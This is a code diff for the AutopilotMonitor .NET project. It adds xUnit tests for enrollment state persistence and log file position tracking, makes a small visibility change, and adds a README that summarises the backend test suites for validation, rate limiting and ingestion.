SkipUserStatusPage = true,
|
||||
SkipDeviceStatusPage = false,
|
||||
AutopilotMode = 1,
|
||||
};
|
||||
|
||||
_persistence.Save(state);
|
||||
var loaded = _persistence.Load();
|
||||
|
||||
Assert.Equal("AccountSetup", loaded.LastEspPhase);
|
||||
Assert.Equal("v1", loaded.EnrollmentType);
|
||||
Assert.True(loaded.SkipUserStatusPage);
|
||||
Assert.False(loaded.SkipDeviceStatusPage);
|
||||
Assert.Equal(1, loaded.AutopilotMode);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Load_MissingFile_ReturnsNull()
|
||||
{
|
||||
var tempDir2 = Path.Combine(Path.GetTempPath(), "autopilot-test-empty-" + Guid.NewGuid().ToString("N"));
|
||||
Directory.CreateDirectory(tempDir2);
|
||||
try
|
||||
{
|
||||
var persistence = new EnrollmentStatePersistence(tempDir2, TestLogger.Instance);
|
||||
var loaded = persistence.Load();
|
||||
|
||||
Assert.Null(loaded);
|
||||
}
|
||||
finally
|
||||
{
|
||||
Directory.Delete(tempDir2, true);
|
||||
}
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Load_CorruptJson_ReturnsNull()
|
||||
{
|
||||
// Write corrupt JSON directly
|
||||
File.WriteAllText(Path.Combine(_tempDir, "enrollment-state.json"), "{ corrupt json !!!");
|
||||
|
||||
var loaded = _persistence.Load();
|
||||
|
||||
Assert.Null(loaded);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Load_EmptyFile_ReturnsNull()
|
||||
{
|
||||
File.WriteAllText(Path.Combine(_tempDir, "enrollment-state.json"), "");
|
||||
|
||||
var loaded = _persistence.Load();
|
||||
|
||||
Assert.Null(loaded);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Delete_RemovesFile()
|
||||
{
|
||||
var state = new EnrollmentStateData { EspEverSeen = true };
|
||||
_persistence.Save(state);
|
||||
Assert.True(File.Exists(_persistence.StateFilePath));
|
||||
|
||||
_persistence.Delete();
|
||||
|
||||
Assert.False(File.Exists(_persistence.StateFilePath));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Delete_NoFile_DoesNotThrow()
|
||||
{
|
||||
// Should not throw when no file exists
|
||||
_persistence.Delete();
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Save_CreatesDirectory()
|
||||
{
|
||||
var nestedDir = Path.Combine(_tempDir, "nested", "subdir");
|
||||
var persistence = new EnrollmentStatePersistence(nestedDir, TestLogger.Instance);
|
||||
|
||||
persistence.Save(new EnrollmentStateData { EspEverSeen = true });
|
||||
|
||||
Assert.True(File.Exists(persistence.StateFilePath));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,123 @@
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Tracking;
|
||||
using Xunit;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Tests.Tracking
|
||||
{
|
||||
/// <summary>
|
||||
/// Tests incremental log file reading: position tracking, rotation detection, and crash recovery.
|
||||
/// Prevents: missed log entries after rotation, duplicate event emission after restart.
|
||||
/// </summary>
|
||||
public class LogFilePositionTrackerTests
|
||||
{
|
||||
[Fact]
|
||||
public void GetSafePosition_NewFile_ReturnsZero()
|
||||
{
|
||||
var tracker = new LogFilePositionTracker();
|
||||
|
||||
var pos = tracker.GetSafePosition(@"C:\logs\test.log", currentFileSize: 5000);
|
||||
|
||||
Assert.Equal(0, pos);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void GetSafePosition_NormalGrowth_ReturnsSavedPosition()
|
||||
{
|
||||
var tracker = new LogFilePositionTracker();
|
||||
tracker.SetPosition(@"C:\logs\test.log", 1000);
|
||||
|
||||
var pos = tracker.GetSafePosition(@"C:\logs\test.log", currentFileSize: 2000);
|
||||
|
||||
Assert.Equal(1000, pos);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void GetSafePosition_FileRotation_ResetsToZero()
|
||||
{
|
||||
// File shrunk (rotation) — must restart from beginning
|
||||
var tracker = new LogFilePositionTracker();
|
||||
tracker.SetPosition(@"C:\logs\test.log", 5000);
|
||||
|
||||
var pos = tracker.GetSafePosition(@"C:\logs\test.log", currentFileSize: 500);
|
||||
|
||||
Assert.Equal(0, pos);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void GetPosition_UnknownFile_ReturnsZero()
|
||||
{
|
||||
var tracker = new LogFilePositionTracker();
|
||||
|
||||
var pos = tracker.GetPosition(@"C:\logs\unknown.log");
|
||||
|
||||
Assert.Equal(0, pos);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void SetPosition_ThenGetPosition_ReturnsCorrectValue()
|
||||
{
|
||||
var tracker = new LogFilePositionTracker();
|
||||
tracker.SetPosition(@"C:\logs\test.log", 42);
|
||||
|
||||
Assert.Equal(42, tracker.GetPosition(@"C:\logs\test.log"));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void RestorePosition_SetsCorrectState()
|
||||
{
|
||||
var tracker = new LogFilePositionTracker();
|
||||
tracker.RestorePosition(@"C:\logs\test.log", 3000, 5000);
|
||||
|
||||
// Position restored — should return saved position when file is larger
|
||||
var pos = tracker.GetSafePosition(@"C:\logs\test.log", currentFileSize: 6000);
|
||||
Assert.Equal(3000, pos);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void RestorePosition_ThenRotation_ResetsToZero()
|
||||
{
|
||||
var tracker = new LogFilePositionTracker();
|
||||
tracker.RestorePosition(@"C:\logs\test.log", 3000, 5000);
|
||||
|
||||
// File rotated — smaller than restored position
|
||||
var pos = tracker.GetSafePosition(@"C:\logs\test.log", currentFileSize: 100);
|
||||
Assert.Equal(0, pos);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void GetAllPositions_ReturnsDefensiveCopy()
|
||||
{
|
||||
var tracker = new LogFilePositionTracker();
|
||||
tracker.SetPosition(@"C:\logs\a.log", 100);
|
||||
tracker.SetPosition(@"C:\logs\b.log", 200);
|
||||
|
||||
var positions = tracker.GetAllPositions();
|
||||
|
||||
Assert.Equal(2, positions.Count);
|
||||
// Modifying returned dict should not affect tracker
|
||||
positions.Clear();
|
||||
Assert.Equal(100, tracker.GetPosition(@"C:\logs\a.log"));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void CaseInsensitive_SameFileDifferentCase()
|
||||
{
|
||||
var tracker = new LogFilePositionTracker();
|
||||
tracker.SetPosition(@"C:\Logs\Test.log", 500);
|
||||
|
||||
var pos = tracker.GetPosition(@"C:\logs\test.log");
|
||||
|
||||
Assert.Equal(500, pos);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void MultipleFiles_IndependentTracking()
|
||||
{
|
||||
var tracker = new LogFilePositionTracker();
|
||||
tracker.SetPosition(@"C:\logs\a.log", 100);
|
||||
tracker.SetPosition(@"C:\logs\b.log", 200);
|
||||
|
||||
Assert.Equal(100, tracker.GetPosition(@"C:\logs\a.log"));
|
||||
Assert.Equal(200, tracker.GetPosition(@"C:\logs\b.log"));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -5,6 +5,12 @@
|
||||
<LangVersion>latest</LangVersion>
|
||||
</PropertyGroup>
|
||||
|
||||
<ItemGroup>
|
||||
<AssemblyAttribute Include="System.Runtime.CompilerServices.InternalsVisibleTo">
|
||||
<_Parameter1>AutopilotMonitor.Agent.Core.Tests</_Parameter1>
|
||||
</AssemblyAttribute>
|
||||
</ItemGroup>
|
||||
|
||||
<ItemGroup>
|
||||
<ProjectReference Include="..\..\Shared\AutopilotMonitor.Shared\AutopilotMonitor.Shared.csproj" />
|
||||
</ItemGroup>
|
||||
|
||||
+1
-1
@@ -182,7 +182,7 @@ namespace AutopilotMonitor.Agent.Core.Monitoring.Collectors
|
||||
/// Handles both "User" and "DOMAIN\User" formats.
|
||||
/// Also matches the pattern DefaultUser* (case-insensitive).
|
||||
/// </summary>
|
||||
private static bool IsExcludedUser(string fullUserName)
|
||||
internal static bool IsExcludedUser(string fullUserName)
|
||||
{
|
||||
if (string.IsNullOrEmpty(fullUserName))
|
||||
return true;
|
||||
|
||||
@@ -1 +1 @@
|
||||
736
|
||||
737
|
||||
|
||||
@@ -0,0 +1,102 @@
|
||||
# Backend Unit Tests
|
||||
|
||||
## Overview
|
||||
|
||||
This test suite protects the Azure Functions backend against regressions in security validation, data parsing, rate limiting, and the event ingestion pipeline.
|
||||
|
||||
**Framework:** xUnit 2.9.2 | **Target:** .NET 8.0 | **Mocking:** None (pure logic tests with real objects)
|
||||
|
||||
## Test Suites
|
||||
|
||||
### EventTimestampValidationTests (34 tests)
|
||||
|
||||
**Protects against:** Timestamp overflow causing Azure Table Storage failures, timezone drift corrupting event timelines, extreme dates crashing the ingest pipeline.
|
||||
|
||||
| Area | What it tests |
|
||||
|------|--------------|
|
||||
| `SanitizeTimestamp` | Clamps DateTime.MinValue/MaxValue, handles far-future dates, converts Unspecified/Local to UTC |
|
||||
| `IsReasonableTimestamp` | Boundary checks for valid date ranges |
|
||||
| `SafeDurationSeconds` | Reversed timestamps, overflow prevention, max duration clamping |
|
||||
| `SanitizeEventTimestamps` | Pipeline integration: flags sanitized events, preserves originals |
|
||||
|
||||
**Production bug prevented:** Timestamp overflow (DateTime.MaxValue) crashed Azure Table Storage writes. Tests enforce clamping before storage.
|
||||
|
||||
### NdjsonParserTests (14 tests)
|
||||
|
||||
**Protects against:** Malformed NDJSON payloads crashing event ingestion, gzip decompression failures, TenantId inheritance contract violations.
|
||||
|
||||
| Area | What it tests |
|
||||
|------|--------------|
|
||||
| `ParseNdjson` | Metadata extraction, TenantId inheritance, trailing newlines, nested objects |
|
||||
| `ParseGzipAsync` | Valid payload parsing, size limit enforcement |
|
||||
| `BuildGzipPayload` | Round-trip serialization symmetry |
|
||||
|
||||
### DistressRateLimitServiceTests (21 tests)
|
||||
|
||||
**Protects against:** DDoS on the unauthenticated distress endpoint, per-IP abuse, tenant-level flooding.
|
||||
|
||||
| Layer | Limits | What it tests |
|
||||
|-------|--------|--------------|
|
||||
| Per-IP | 5 req/15 min | Exact boundary, independent IP tracking |
|
||||
| Per-Tenant | 20 req/1 hour | Exact boundary, independent tenant tracking |
|
||||
| Global Circuit Breaker | 200 req/min | Trips at threshold, blocks all subsequent |
|
||||
| Layer Interaction | - | Circuit breaker checked first, IP rejection doesn't increment tenant counter |
|
||||
|
||||
### SecurityValidatorTests (17 tests)
|
||||
|
||||
**Protects against:** GUID injection attacks, malformed TenantId/SessionId values bypassing validation.
|
||||
|
||||
| Area | What it tests |
|
||||
|------|--------------|
|
||||
| `IsValidGuid` | Valid/invalid formats, null/empty/whitespace, braced format rejection |
|
||||
| `EnsureValidGuid` | Exception throwing with parameter names |
|
||||
|
||||
### DistressValidationTests (51 tests)
|
||||
|
||||
**Protects against:** Input injection on unauthenticated endpoint, control character injection, timestamp spoofing, IP parsing bypasses.
|
||||
|
||||
| Area | What it tests |
|
||||
|------|--------------|
|
||||
| `ParseIpFromForwardedFor` | IPv4/IPv6 parsing, multiple proxies, port stripping |
|
||||
| `Sanitize` | Control character stripping, field-specific max lengths, post-strip truncation |
|
||||
| `GuidPattern` | SQL injection, path traversal, non-hex character rejection |
|
||||
| `IsDistressTimestampValid` | Future/past boundaries, extreme value rejection |
|
||||
|
||||
### IngestCriticalPathTests (10 tests)
|
||||
|
||||
**Protects against:** Missing server-stamped fields causing 500 errors, TenantId mismatch between metadata and events.
|
||||
|
||||
| Area | What it tests |
|
||||
|------|--------------|
|
||||
| `StampServerFields` | Sets ReceivedAt/TenantId/SessionId, overrides null/wrong values |
|
||||
| Pipeline Integration | Full NDJSON -> Stamp -> Validate flow without errors |
|
||||
| TenantId Mismatch | Case-insensitive comparison |
|
||||
|
||||
**Production bug prevented:** Events without server-stamped TenantId caused `EnsureValidGuid` to throw on null, returning 500 instead of processing events.
|
||||
|
||||
### BuiltInRulesTests (5 tests)
|
||||
|
||||
**Protects against:** Embedded resource loading failures after build changes, missing required fields in rule definitions, invalid pattern categories.
|
||||
|
||||
| Area | What it tests |
|
||||
|------|--------------|
|
||||
| `BuiltInGatherRules` | Non-empty load, required fields per rule |
|
||||
| `BuiltInAnalyzeRules` | Minimum count (18+), required fields, IsBuiltIn flag |
|
||||
| `BuiltInImeLogPatterns` | Minimum count (47+), valid actions set (25), valid categories |
|
||||
|
||||
### EndpointPolicyCatalogCompletenessTests (5 tests)
|
||||
|
||||
**Protects against:** New HTTP endpoints missing security policy registration (fail-closed -> 403), stale catalog entries after endpoint removal.
|
||||
|
||||
| Area | What it tests |
|
||||
|------|--------------|
|
||||
| Route Coverage | All `[HttpTrigger]` routes have catalog entries (reflection-based scan) |
|
||||
| Catalog Hygiene | No orphaned entries for removed routes |
|
||||
| Parameterized Routes | `{id}`, `{code}`, `{tenantId}` etc. resolve correctly |
|
||||
| Method Disambiguation | Same route with different HTTP methods gets correct policy |
|
||||
|
||||
## Running Tests
|
||||
|
||||
```bash
|
||||
dotnet test src/Backend/AutopilotMonitor.Functions.Tests/ --nologo -v quiet
|
||||
```
|
||||
Reference in New Issue
Block a user